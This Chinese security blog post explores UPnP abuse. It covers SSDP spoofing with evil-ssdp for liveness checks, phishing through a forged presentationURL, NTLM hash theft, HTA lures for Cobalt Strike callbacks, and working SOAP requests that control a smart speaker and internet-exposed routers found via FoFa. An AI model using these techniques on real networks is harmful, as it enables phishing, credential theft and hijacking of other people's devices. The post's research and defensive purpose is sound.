UPnP协议利用探索实践

ddddddd9  936天前

UPnP.png

作者:Dn9ie@白帽汇安全研究院

本篇文章以UPnP协议入手,从官方文档到抓包分析,解释了该协议的基本功能,并探索实践SSDP和SOAP,设备发现阶段和设备控制消息中可以利用的一些思路。希望你能够喜欢这篇文章,欢迎一起探索探讨技术问题!

UPnP是通用即插即用(Universal Plug and Play)的缩写,使用UPnP协议不需要设备驱动程序,它可以运行在目前几乎所有的操作系统平台上,使得在办公室、家庭和其他公共场所方便地构建设备互联互通成为可能。UPnP最大的愿景是希望任何设备一旦连接上,所有在网络上的设备马上就能知道有新设备加入,这些设备彼此之间能互相通信,更能直接使用或者控制它,一切都不需要人工设置,完全的即插即用。

解读:UPnP是微软主要推的一个标准,目前win7和win10默认是支持该协议的,个人理解是本地网络的万物互联,任何支持该协议的设备可以相互发现,控制点可以对设备直接进行操作和控制。我觉得这个协议的利用思路更多是漏洞和网络攻击危害/影响面的延申和扩大扩展。

l 设备(Device)

UPnP网络中定义的设备具有很广泛的含义,各种各样的家电、电脑外设、智能设备、无线设备、个人电脑等等都可以称之为设备。一台UPnP设备可以是多个服务的载体或多个子设备的嵌套。

l 服务(Service)

在UPnP网络中,最小的控制单元就是服务。服务描述的是指设备在不同情况下的动作和设备的状态。例如,时钟服务可以表述为时间变化值、当前的时间值以及设置时间和读取时间两个活动,通过这些动作,就可以控制服务。例如,某智能音箱设备,它的服务可以是播放某个音频文件,暂停,继续等。

l 控制点(Control Point)

在UPnP网络中,控制点指的是可以发现并控制其他设备的控制设备。在UPnP网络中,设备可以和控制点合并,为同一台设备,同时具有设备的功能和控制点的功能,即可以作为设备提供服务,也可以作为控制点发现和控制其他设备。

组播的基本概念

  • 单播是主机间一对一的通讯模式,网络中的设备根据网络报文中包含的目的地址选择传输路径,将单播报文传送到指定的目的地,只对接收到的数据进行转发,不会进行复制。它能够针对每台主机及时的响应,现在的网页浏览全部都是采用单播模式。

  • 广播是主机间一对所有的通讯模式,设备会将报文发送到网络中的所有可能接收者。设备简单地将它收到的任何广播报文都复制并转发到除该报文到达的接口外的每个接口。广播处理流程简单,不用选择路径。

  • 组播是主机间一对多的通讯模式, 组播是一种允许一个或多个组播源发送同一报文到多个接收者的技术。组播源将一份报文发送到特定的组播地址,组播地址不同于单播地址,它并不属于特定某个主机,而是属于一组主机。一个组播地址表示一个群组,需要接收组播报文的接收者都加入这个群组。

SSDP协议

简单服务发现协议(Simple Service Discovery Protocol:SSDP),是内建在HTTPU/HTTPMU里,定义如何让网络上有的服务被发现的协议。具体包括控制点如何发现网络上有哪些服务,以及这些服务的资讯,还有控制点本身宣告他提供哪些服务。该协议运用在UPnP工作流程的设备发现部分。

SOAP协议

简单对象访问协议(Simple object Access Protocol:SOAP)定义如何使用xml与HTTP来执行远程过程调用(Remote Procedure Call)。包括控制点如何发送命令消息给设备,设备收到命令消息后如何发送响应消息给控制点。该协议运用在UPnP工作流程的设备控制部分。用来控制UPnP设备的统一消息格式,发送命令消息即可

GENA协议

通用事件通知架构(Generic Event Notification Architecture:GENA)定义在控制点想要监听设备的某个服务状态变量的状况时,控制点如何传送订阅信息并如何接收这些信息,该协议运用在UPnP工作流程的事件订阅部分。本次利用并不涉及该协议,仅作了解。

借一张图如下:

upnp-2.jpg

1、 首先控制点和设备都先获取IP地址后才能进行下一步的工作(DHCP协议);

2、 控制点首先要寻找整个网络上的UPnP设备,同时网络上的设备也要宣告自身的存在;

3、 控制点要取得设备的描述,包括这些设备提供什么样的服务;在控制点发现设备存活后,会立即访问LOCATION字段中的URL获得设备信息。

4、 控制点发出动作信息给设备;

5、 控制点监听设备的状态,当状态改变时作出相应的处理动作;

主动宣告

宣告.png

NOTIFY * HTTP/1.1 

##该方法用来主动宣告自身存在

HOST: 239.255.255.250:1900

##目的地址为本地网络的组播地址

CACHE-CONTROL: max-age=66 ##设备存活时间,超过该时间无限响应则认为设备不存在LOCATION: http://172.16.60.70:49152/description.xml ##设备描述文件

OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01

01-NLS: d1bcc346-1dd1-11b2-b0e3-d8bf0ab296f8NT: 

urn:schemas-upnp-org:service:AVTransport:1

NTS: ssdp:alive 

SERVER: Linux/3.18.16_s5, UPnP/1.0, Portable SDK for UPnP devices/1.6.19

X-User-Agent: redsonic

USN: uuid:f08b0c45-9dcd-2fc1-95d2-a2ea4b788b1e::urn:schemas-upnp-org:service:AVTransport:1

主动搜索发现

m-search.png

M-SEARCH * HTTP/1.1 ## 搜索方法

HOST: [FF02::C]:1900   ##组播地址,IPv4/IPv6都支持

MAN: "ssdp:discover"  ## 发现设备报文

MX: seconds to delay response ## 延迟响应的描述,设备等待响应的时间

ST: search target 

##设置服务查询的目标,它必须是下面的类型:

    ssdp:all 搜索所有设备和服务

    upnp:rootdevice 仅搜索网络中的根设备

    uuid:device-UUID 查询UUID标识的设备

    urn:schemas-upnp-org:device:device-

    type:version查询device-Type字段指定的设备类型,设备类型和版本由UPNP组织定义

    urn:schemas-upnp-org:service:service-

    type:version 查询service-Type字段指定的服务类型,服务类型和版本由UPNP组织定义

HTTP/1.1 200 OK 

 CACHE-CONTROL: max-age = seconds until advertisement expires

 DATE: when response was generated

 EXT: 

 LOCATION: URL for UPnP description of this device

 SERVER: OS/version UPnP/1.1 product/version

 OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01 

 01-NLS: same value as BOOTID field value

ST: search target

BOOTID.UPNP.ORG: number increased each time device sends an initial announce or update 

message

CONFIGID.UPNP.ORG: number used for caching description information

 USN: composite identifier for the advertisement

各参数含义:

max-age指定通知消息存活时间,如果超过此时间间隔,控制点可以认为设备不存在

DATE: 指定响应生成的时间                                

EXT:向控制点确认MAN头域已经被设备理解

LOCATION:包含根设备描述得URL地址

SERVER:包含操作系统名,版本,产品名和产品版本信息。

ST:内容和意义与查询请求的相应字段相同

USN:表示不同服务的统一服务名,它提供了一种标识出相同类型服务的能力。

渗透利用姿势

存活发现

在简单网络发现协议SSDP中,在发现网络中的设备后,会立即根据返回的响应包去访问设备描述文件,而在这个行为中,他没有校验单播回应报文的地址和LOCATION字段是否相同,甚至没有检查是否和自己处在同一个本地网络中,所以我们可以利用这一点去做本地网络的存活探测,在本地网络服务器中,如果检测到响应即认为设备存活,我们将设备放在外网同时实现了设备出网的检测。

使用这个项目中的代码,我们直接拿来用,有自己的需求二次更改即可。

https://github.com/initstring/evil-ssdp.git

在evil_ssdp.py的142行更改url为外部服务的地址,即响应中的LOCATION字段。

evil_ssdp-142.png

效果如下:

alive-1.png

ssdp-2.png

外网IP 报文存活:

alive-ssdp-2.png

钓鱼站点

除了伪造SSDP中的响应,我们还可以更改device-desc.xml中的设备展示页面,即字段.我们需要让本地网络的其他主机可以访问到device-desc.xml文件。这样以来在网络中展示的设备资源的URL链接就是我们制作的钓鱼网站了。效果如下:

ssdp-3-presentationURL.png

这里是配合setoolkit社会工程工具包制作的效果。

ssdp-6.png

gmail-1.png

NTLM_Hash获取

在这个项目原始的介绍中说明了使用<img>标签中的file协议拿到NTLM_hash,在我的实验中IE浏览器确实是生效了,我们启动一个smb服务器,即可。效果如下:

ntlm-1.pngntlm-2.pngntlm-3.png

思考

仔细回顾以下整个过程,可以发现SSDP协议将伪造的网络设备资源展示页面呈现给了本地网络中的所有机器,受害方在点击恶意页面的时候总共有2个动作.

  1. 系统打开默认浏览器;

  2. 浏览器访问设备展示页面,也就是字段<presentationURL>中的URL;

想了好久有了一些想法,在这2个过程中,

  1. 可以利用浏览器漏洞,实现1click上线CS;

  2. 在操作系统默认浏览器为IE的情况下我们可以用HTA格式,诱导用户上线CS;

<presentationURL>字段中会校验开头是否是http但是并不管后缀是什么,效果如下:

hta-1.pnghta-2.pnghta-3.pnghta-4.pnghta-5.png

SOAP控制协议

这个纯纯的是意外之喜,之前在查询资料的时候知道很多路由器默认使用upnp,可以通过这个协议直接控制,在设备描述页面会有详细的解释,serviceType,action,argmunt,在作本地流量监控的时候以外发现XX智能音箱同样支持这个协议而且可以直接访问控制,那我们可以直接通过这个方式控制该音箱,例如播放任何资源的音频文件。

<SCPDURL>/xxx.xml</SCPDURL>是控制的详细描述文件动作和参数;

<serviceType>urn:schemas-upnp-org:service:xxx:1</serviceType>是服务类型。

首先我们伪造一下SSDP的discover

import socket

MS = \

    'M-SEARCH * HTTP/1.1\r\n' \

    'HOST:239.255.255.250:1900\r\n' \

    'ST:upnp:rootdevice\r\n' \

    'MX:2\r\n' \

    'MAN:"ssdp:discover"\r\n' \

    '\r\n'

SOC = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)

SOC.settimeout(2)

SOC.sendto(MS.encode('utf-8'), ('239.255.255.250', 1900))

try:

    while True:

        #SOC.sendto(MS.encode('utf-8'), ('239.255.255.250', 1900) )

        data, addr = SOC.recvfrom(8192)

        print (addr, data)

#except socket.timeout:

except:

    print("None")

某智能音箱-SCPD.xml

device.xml scpd.xml 通过soap的action进行执行操作例如播放音频文件。

POST /upnp/control/rendertransport1 HTTP/1.1

##这个url是service-type中的control-uri

HOST:192.168.132.167:49494

##目标设备的端口和IP

CONTENT-TYPE: text/xml; charset="utf-8"

USER-AGENT: OS/VERSION UPnP/2.0 product/version

SOAPACTION: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"

##SOAPACTION 必不可少的字段,后面是serviceType的值,服务和#动作

Content-Length: 517

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">

    <s:Body>

    ###action然后是参数,一个动作可以有多个参数

        <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">

            <InstanceID>0</InstanceID>

            <CurrentURI>https://v.qq.com/x/page/j1428plaitc.html</CurrentURI>

            <CurrentURIme taData>1</CurrentURIme taData>

        </u:SetAVTransportURI>

    </s:Body>

</s:Envelope>

当设置播放资源URL后,执行播放动作

POST /upnp/control/rendertransport1 HTTP/1.1

HOST:192.168.132.167:49494

CONTENT-TYPE: text/xml; charset="utf-8"

USER-AGENT: OS/VERSION UPnP/2.0 product/version

SOAPACTION: "urn:schemas-upnp-org:service:AVTransport:1#Play"

Content-Length: 386

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">

    <s:Body>

        <u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">

            <InstanceID>0</InstanceID>

            <Speed>1</Speed>

        </u:Play>

    </s:Body>

</s:Envelope>

soap-1.pngsoap-2.png

这里更多的是意料之外。其实RFC中定义了这个协议的规范包括我们利用的设备展示页,详细信息可以看官方文档http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1-AnnexA.pdf

FoFa查询

我们在FoFa中搜索开放在互联网的UPnP设备,其中部分设备做了代理或者做了http认证无法访问,还有很多的路由类设备可以直接访问,直接操控SOAP-action实现操作控制。

2021-09-16_09-48.png

某路由器如下:

soap-3.pngsoap-4.png

不需要使用UPnP功能的用户请关闭该UPnP支持避免遭受危害!

不需要使用UPnP功能的用户请关闭该UPnP支持避免遭受危害!

参考链接和资料:

http://www.h3c.com/cn/d_201206/922127_30005_0.htm

https://support.huawei.com/enterprise/zh/doc/EDOC1100105907

http://www.h3c.com/cn/d_200803/336048_30003_0.htm

http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1-AnnexA.pdf

https://www.electricmonk.nl/log/2016/07/05/exploring-upnp-with-python/


本文为白帽汇原创文章,如需转载请注明来源:https://nosec.org/home/detail/4871.html

最新评论

昵称
邮箱
提交评论